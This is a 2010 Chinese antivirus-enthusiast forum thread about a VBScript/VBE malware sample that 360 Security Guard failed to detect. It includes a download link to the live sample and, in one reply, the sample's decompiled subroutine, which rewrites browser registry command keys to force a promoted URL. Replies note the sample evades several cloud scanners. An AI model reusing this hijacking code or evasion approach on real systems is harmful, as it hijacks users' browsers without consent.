360也有抽筋的时候

显示全部楼层 · 发表于 2010-10-23 15:52:42

本帖最后由 zzirong 于 2010-10-23 15:54 编辑

卡饭又抽了，附件上传不了
提供网盘下载病毒样本：http://v4.u.115.com/file/t5de51290c

不知道为什么网盾可以查出来，360卫士却查不出来，运行之，360无反应，病毒成功启动

2010-10-23 15:49 上传
下载附件 (27.77 KB)

下载附件 (56.33 KB)

显示全部楼层 · 发表于 2010-10-23 15:57:58

本帖最后由 jefffire 于 2010-10-23 15:59 编辑

你这个病毒是开源的？

压根没加密

显示全部楼层 · 发表于 2010-10-23 16:01:11

卡饭抽了，360也抽了——双抽啊？

哈哈。。。我这里下载不了，难道是我的RPWT？

显示全部楼层 · 发表于 2010-10-23 16:03:04

回复 2楼 jefffire 的帖子

现在流行开源嘛

显示全部楼层 · 发表于 2010-10-23 16:09:23

本帖最后由 jinzijie 于 2010-10-23 16:26 编辑

jefffire 发表于 2010-10-23 15:57
你这个病毒是开源的？压根没加密

的确很无语。。。

显示全部楼层 · 发表于 2010-10-23 16:38:57

这是出处？
http://www.ycrack.com/read.php?tid=455

显示全部楼层 · 发表于 2010-10-23 16:46:43

Public Sub SetRegDefaultOpenUrl()
On Error Resume Next
dim url
url="http://www.59688.com/?my"
dim ie_temp_path
ie_temp_path=GetWebBrowserPath() '获取一个浏览器路径
Set fso = CreateObject("Scripting.FileSystemObject")
If not fso.FileExists(ie_temp_path) Then '不存在则读取默认
ie_temp_path=iePath
End If
Set fso = Nothing
Const HKEY_CLASSES_ROOT = &H80000000
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" & strComputer & "\root\default:StdRegProv")
strKeyPath = "HTTP\shell\360SE.exe\command"
kkbbzz1Name = ""
oReg.GetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,_
kkbbzz1Name,kkbbzz1
if kkbbzz1<>"" or instr(kkbbzz1,url)=0 then
'写入值到节点
kkbbzz1Name = ""
kkbbzz1 = """" & ie_temp_path & """" & " " & url & " " & "%1"
oReg.SetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,kkbbzz1Name,kkbbzz1
end if
strKeyPath = "HTTP\shell\open\command"
kkbbzz1Name = ""
oReg.GetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,_
kkbbzz1Name,kkbbzz1
if kkbbzz1<>"" or instr(kkbbzz1,url)=0 then
'写入值到节点
kkbbzz1Name = ""
kkbbzz1 = """" & ie_temp_path & """" & " " & url & " " & "%1"
'oReg.SetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,kkbbzz1Name,kkbbzz1
end if
strKeyPath = "HTTP\shell\Maxthon2\command"
kkbbzz1Name = ""
oReg.GetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,_
kkbbzz1Name,kkbbzz1
if kkbbzz1<>"" or instr(kkbbzz1,url)=0 then
'写入值到节点
kkbbzz1Name = ""
kkbbzz1 = """" & ie_temp_path & """" & " " & url & " " & "%1"
oReg.SetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,kkbbzz1Name,kkbbzz1
end if
strKeyPath = "HTTP\shell\SogouExplorer\command"
kkbbzz1Name = ""
oReg.GetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,_
kkbbzz1Name,kkbbzz1
if kkbbzz1<>"" or instr(kkbbzz1,url)=0 then
'写入值到节点
kkbbzz1Name = ""
kkbbzz1 = """" & ie_temp_path & """" & " " & url & " " & "%1"
oReg.SetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,kkbbzz1Name,kkbbzz1
end if
End Sub

复制代码

有点意思

显示全部楼层 · 发表于 2010-10-23 18:27:38

zzirong 发表于 2010-10-23 15:52
卡饭又抽了，附件上传不了
提供网盘下载病毒样本：http://v4.u.115.com/file/t5de51290c

恭喜，过数字云，可牛云，金山云，NPE[:26:] VBE果然是盲点

显示全部楼层 · 发表于 2010-10-23 20:22:57

360卫士不支持压缩包扫描和脱壳的！而网盾是利用URL之类检测的。要测试就要测360杀毒，完整的查杀功能。

显示全部楼层 · 发表于 2010-10-23 20:23:43

你可以解压后扫描试试看，不过程序加壳严重的话卫士是不管的

[分享] 360也有抽筋的时候